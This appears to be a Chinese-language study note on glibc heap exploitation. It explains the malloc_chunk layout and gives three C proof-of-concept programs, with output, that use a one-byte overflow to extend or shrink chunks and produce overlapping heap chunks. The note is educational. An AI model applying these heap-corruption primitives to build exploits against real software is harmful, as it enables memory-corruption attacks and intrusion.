Producing Overlapping Chunks

source: Glibc_Adventures-The_Forgotten_Chunks

linux下堆的结构

struct malloc_chunk 
{
    
    INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
    INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
    
    struct malloc_chunk* fd; /* double links -- used only if free. */
    struct malloc_chunk* bk;
    
    /* Only used for large blocks: pointer to next larger size. */
    struct malloc_chunk* fd_nextsize;
    struct malloc_chunk* bk_nextsize;
};

为了设计简单，硬件访问内存是以机器字长位单位的，所以申请堆块时，malloc函数会调整申请的内存的长度为机器字长的倍数，
32位及64位情况下均是8的倍数，这就导致size大小最低3个bit全部为0，
本着物尽其用的原则，这三个bit作为堆块的标志位，其中最低位作为pre_chunk是否空闲的标志位，
也因为这个原则，特定情况下prev_size部分也会成为前一个堆块的内容，
这是各种heap base null byte overflow能被利用的原因，

Extending Free Chunks

int main() 
{
    char * A, * B, * C;
    
    A = malloc(0x100 - 8); // This is where the overflow happens
    B = malloc(0x100 - 8); // Free chunk being extended
    C = malloc(0x80 - 8); // Chunk being overlapped
    
    printf("C chunk: %p -> %p\n", C, C + 0x80 - 8);
    
    free(B); // Freeing B
    
    /* Overflow into A
    * The old chunk B's size becomes 0x181 instead of 0x101
    */
    A[0x100 - 8] = 0x81;
    
    B = malloc(0x100 + 0x80 - 8); // Allocation of old B size + C size
    
    printf("New B chunk: %p -> %p\n", B, B + 0x100 + 0x80 - 8);
}

输出如下:

$ ./extend_free_overlap
C chunk: 0x2036210 -> 0x2036288
New B chunk: 0x2036110 -> 0x2036288

malloc函数从freelist中搜索大小符合要求的堆块，但是只检查了该堆块的size部分，没有检查next_chunk的prev_size

Extending Allocated Chunks

int main() 
{
    char * A, * B, * C;
    
    A = malloc(0x100 - 8); // This is where the overflow happens
    B = malloc(0x100 - 8); // Free chunk being extended
    C = malloc(0x80 - 8); // Chunk being overlapped
    
    printf("C chunk: %p -> %p\n", C, C + 0x80 - 8);
    
    /* Overflow into A
    * The old chunk B's size becomes 0x181 instead of 0x101
    */
    A[0x100 - 8] = 0x81;
    
    free(B); // Freeing B
    
    B = malloc(0x100 + 0x80 - 8); // Allocation of old B size + C size
    
    printf("New B chunk: %p -> %p\n", B, B + 0x100 + 0x80 - 8);
}

输出:

root@kali:/vagrant/Heap/8_byte_test# ./test
C chunk: 0xe25210 -> 0xe25288
New B chunk: 0xe25110 -> 0xe25288

为了防止double free，free函数会检查该堆块的next_chunk的pre_inuse标志位，
这个例子中，溢出修改B chunk的size为B，C两个chunk大小之和，
free函数根据B->size寻找下一个堆块的pre_inuse标志位，已确保B不是空闲状态，
但此时寻找到的是C的next_chunk，C不是空闲态，free函数判定合法，将B+C大小的堆块链入freelist，
同样的，free函数也不检查堆块的next_chunk的pre_size

Shrinking Free Chunks

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main()
{
    char *A, *B, *C;
    char *B1, *B2, *B3;
    A = malloc(0x100 - 8);
    B = malloc(0x208);
    C = malloc(0x100);
    
    free(B);
    
    A[0x100 - 8] = 0x00;
    
    B1 = malloc(0x100);
    B2 = malloc(0x80);
    
    free(B1);
    free(C);
    
    printf("B2 chunk: %p -> %p\n", B2, B2 + 0x80);
    
    B3 = malloc(0x180);
    
    printf("B3 chunk: %p -> %p\n", B, B + 0x180);
}

程序输出：

root@kali:/vagrant/Heap/8_byte_test# ./test
B2 chunk: 0x1025220 -> 0x10252a0
B3 chunk: 0x1025110 -> 0x1025290

free(B)后原先的B堆块被链入freelist，再申请一个大小小于B的B1，malloc函数优先从原先的B中切割一块给B1
此时会修改C堆块的prev_size，但是因为此前溢出修改了B->size，根据被修改过的B->size找到了错误的C堆块头部(B堆块中)，
真正的C->prev_size并没有被修改，在free(C)时,因为C->PREV_INUSE为0发生向前合并,根据C->prev_size找到了原先B堆块(现B1堆块)的头部，
此时B1堆块空闲，满足向前合并的条件，所以B和C两个堆块被合并然后链入freelist，此时再申请合适大小的堆块，就可以覆盖到B2，产生堆块重叠